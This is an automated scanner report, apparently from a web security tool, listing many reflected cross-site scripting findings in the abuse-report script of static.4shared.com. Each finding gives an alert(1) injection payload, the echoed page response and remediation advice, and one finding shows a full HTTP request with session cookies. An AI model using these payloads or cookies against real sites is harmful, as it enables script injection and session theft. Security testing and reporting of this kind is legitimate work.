<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/coolbuttons.cssebafb"-alert(1)-"74fc1488d18"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4d0b9"-alert(1)-"5faf4995697 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79d0d"-alert(1)-"e9d06030ced was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/features.css79d0d"-alert(1)-"e9d06030ced"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae0da"-alert(1)-"dfc773bc8e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload adf03"-alert(1)-"db77fbbc575 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/indexm.cssadf03"-alert(1)-"db77fbbc575"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c9ed"-alert(1)-"c9db170bdcd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css8c9ed"-alert(1)-"c9db170bdcd/indexn.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c78e"-alert(1)-"58cbf041f37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/indexn.css9c78e"-alert(1)-"58cbf041f37"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c985c"-alert(1)-"b752c3bde16 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf57b"-alert(1)-"ff7366fe274 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/main.csscf57b"-alert(1)-"ff7366fe274"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a73d5"-alert(1)-"09846515e43 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33792"-alert(1)-"feb36199e90 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/mainWithoutCommon.css33792"-alert(1)-"feb36199e90"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 37d0c"-alert(1)-"a384906c899 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 872dc"-alert(1)-"012793f9b37 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/openid.css872dc"-alert(1)-"012793f9b37"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5430c"-alert(1)-"af2ee37e7b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css5430c"-alert(1)-"af2ee37e7b0/pageDownload1/download.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a0a9"-alert(1)-"beb8e3c777b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb5cd"-alert(1)-"8d2149dd564 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/pageDownload1/download.csscb5cd"-alert(1)-"8d2149dd564"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3c69"-alert(1)-"2cf4627ec1a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fec9c"-alert(1)-"5240765fe67 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/pageDownload1fec9c"-alert(1)-"5240765fe67/downloadWithoutCommon.css"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function f ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47081"-alert(1)-"19897fe20e2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/pageDownload1/downloadWithoutCommon.css47081"-alert(1)-"19897fe20e2"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa773"-alert(1)-"b1f17542dec was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd74e"-alert(1)-"6dad30ac8f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/css/tutorial.cssfd74e"-alert(1)-"6dad30ac8f9"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f396c"-alert(1)-"7819c5badf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 630cd"-alert(1)-"d08d1566e98 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/desktop/desktop.css630cd"-alert(1)-"d08d1566e98"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7289a"-alert(1)-"da5431a7505 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2dbcd"-alert(1)-"68c48b7d60f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/dwr/2dbcd"-alert(1)-"68c48b7d60f"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ecb97"-alert(1)-"81101aeb9ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8499f"-alert(1)-"105b75277af was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4bf63"-alert(1)-"b00ceae7821 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /favicon.ico4bf63"-alert(1)-"b00ceae7821 HTTP/1.1 Host: static.4shared.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: hostid=220011363; __qca=P0-1133200866-1297862349616; search.view2=ls; JSESSIONID=1C17362F5BC92C5103B471FB8A66CDEC.dc293; __utmz=210074320.1298730611.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/29; __utma=210074320.1172937508.1297862350.1298497029.1298730611.3; __utmc=210074320; __utmb=210074320.1.10.1298730611; WWW_JSESSIONID=3CFB65BE110C065A39C53A13723EF882.dc278
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/favicon.ico4bf63"-alert(1)-"b00ceae7821"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14de5"-alert(1)-"e4251d0b96d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images14de5"-alert(1)-"e4251d0b96d/all1.png"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d50a"-alert(1)-"fe06872aee9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/all1.png6d50a"-alert(1)-"fe06872aee9"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12272"-alert(1)-"abf7e4d3c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images12272"-alert(1)-"abf7e4d3c4/bg14.png"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 69174"-alert(1)-"fe2d06cbac0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/bg14.png69174"-alert(1)-"fe2d06cbac0"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a64c"-alert(1)-"ffcb7e388af was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images7a64c"-alert(1)-"ffcb7e388af/facebook/login-button.png"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function f ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d708"-alert(1)-"02fd9aad990 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/facebook7d708"-alert(1)-"02fd9aad990/login-button.png"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9ec6"-alert(1)-"d0a9f28947d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/facebook/login-button.pnge9ec6"-alert(1)-"d0a9f28947d"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 393fb"-alert(1)-"ee3174caf07 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images393fb"-alert(1)-"ee3174caf07/googleW.png"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 41f6f"-alert(1)-"4a01f65d839 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:http://www.4shared.com/-->
...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://static.4shared.com/images/googleW.png41f6f"-alert(1)-"4a01f65d839"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
